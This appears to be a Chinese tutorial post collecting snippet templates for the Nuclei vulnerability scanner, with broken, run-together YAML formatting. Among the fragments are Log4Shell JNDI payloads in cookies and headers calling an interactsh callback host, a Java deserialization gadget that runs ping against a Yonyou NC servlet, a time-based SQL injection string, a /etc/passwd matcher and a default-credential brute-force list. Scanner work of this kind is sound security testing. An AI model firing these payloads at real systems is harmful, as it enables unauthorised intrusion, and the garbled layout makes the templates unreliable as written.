[Nuclei-04]Nuclei实际使用中一些常用模板

id: base  info:  name: base   author: msk  description: 描述漏洞基本情况  severity: info 漏洞等级  reference: https://www.exploit-db.com/ghdb/6814  漏洞来源  tags: detect 标签  metadata:    veified: true    fofa-query: fofa语法    hunter-query: 鹰图语法http:  - raw:      - |        GET /xxxx/xxx HTTP/1.1        Host: {{Hostname}}        Connection: keep-alive        Cookie: OFBiz.Visitor=${jndi:ldap://{{interactsh-url}}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36        Content-Type: application/json;charset=UTF-8        user-client: 1    matchers:      - type: dsl        dsl:          - 'status_code==200 && contains_all(body,"xxx1","xxx2")' # 匹配多个Responses中关键词

   matchers:   - type: regex        regex:          - "root:.*:0:0:"        part: body

   matchers:       - type: regex        regex:          - "bit app support"        part: body

      - |        GET {{replace(filepath,"http://null","")}} HTTP/1.1        Host: {{Hostname}}        Accept: text/*        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36      matchers:      - type: dsl        dsl:          - 'status_code_2==200 && contains_all(body_2,"12321")'    extractors:      - type: json        internal: true        name: filepath        json:          - '.visitRoot'

      - |        GET /templates/master/pc/fangmeilele/UploadImage/titleimg/{{filename}} HTTP/1.1        Host: {{Hostname}}        Accept: text/*        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36    matchers:      - type: dsl        dsl:          - 'status_code_2==200 && contains_all(body_2,"12321")'    extractors:      - type: regex        internal: true        name: filename        part: body        regex:          - "[0-9]{14}_[0-9]{4}.aspx"  # 这块就只进行数字匹配

matchers:  - type: xpath    part: body    xpath:      - "/html/head/title[contains(text(), 'Example Domain')]"

      - |+        GET /# HTTP/1.1        Host: {{Hostname}}      - |+        GET /{{fname}} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0    extractors:      - type: xpath        part: body        xpath:          - '//link[@rel="stylesheet"]/@href'         name: fname        internal: true    matchers:      - type: dsl        dsl:          - "contains_all(body_2, 'play-state') && status_code==200"

nuclei -u https://target.com -H "Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=="

requests:  - raw:      - |+        POST /auth/login?password={{password}}&username={{username}} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0        Accept: application/json, text/plain, */*        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Content-Length: 0    payloads:      username:        - root        - admin      password:        - 123456        - admin        - admin123    attack: pitchfork    matchers-condition: and  # 多个匹配，相当于都满足    matchers:      - type: word        part: body        words:          - '"msg":"success"'      - type: status        status:          - 200

 - |        POST /xxxx.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36        Accept-Encoding: gzip, deflate        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Connection: close        Content-Type: application/x-www-form-urlencoded        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8        id=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(6)))ozYR)+AND+'fqDZ'='fqDZ# 此模板是基于DSL的持续时间匹配器的示例，当响应时间与定义的持续时间（在这种情况下为6或大于6秒）匹配时，返回true。    matchers:      - type: dsl        dsl:          - 'duration>=6'

      POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1      Host: {{Hostname}}      X-Forwarded-For: 127.0.0.10      X-Originating-IP: 127.0.0.10      X-Remote-Addr: 127.0.0.10      X-Remote-IP: 127.0.0.10      {{generate_java_gadget("commons-collections3.1", "ping {{interactsh-url}}", "raw")}}    matchers:      - type: word        part: interactsh_protocol         words:          - "dns"

      - |        POST / HTTP/1.1        Host: {{Hostname}}        {{log4j}}    payloads:      log4j:        - 'X-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Remote-IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Remote-Addr: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'User-Agent: ${jndi:ldap://{{interactsh-url}}/info}'        - 'Referer: ${jndi:ldap://{{interactsh-url}}/info}'        - 'CF-Connecting_IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'True-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}'        - 'Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}'        - 'X-Real-IP: ${jndi:ldap://{{interactsh-url}}/info}'    matchers:      - type: word        part: interactsh_protocol         words:          - "dns"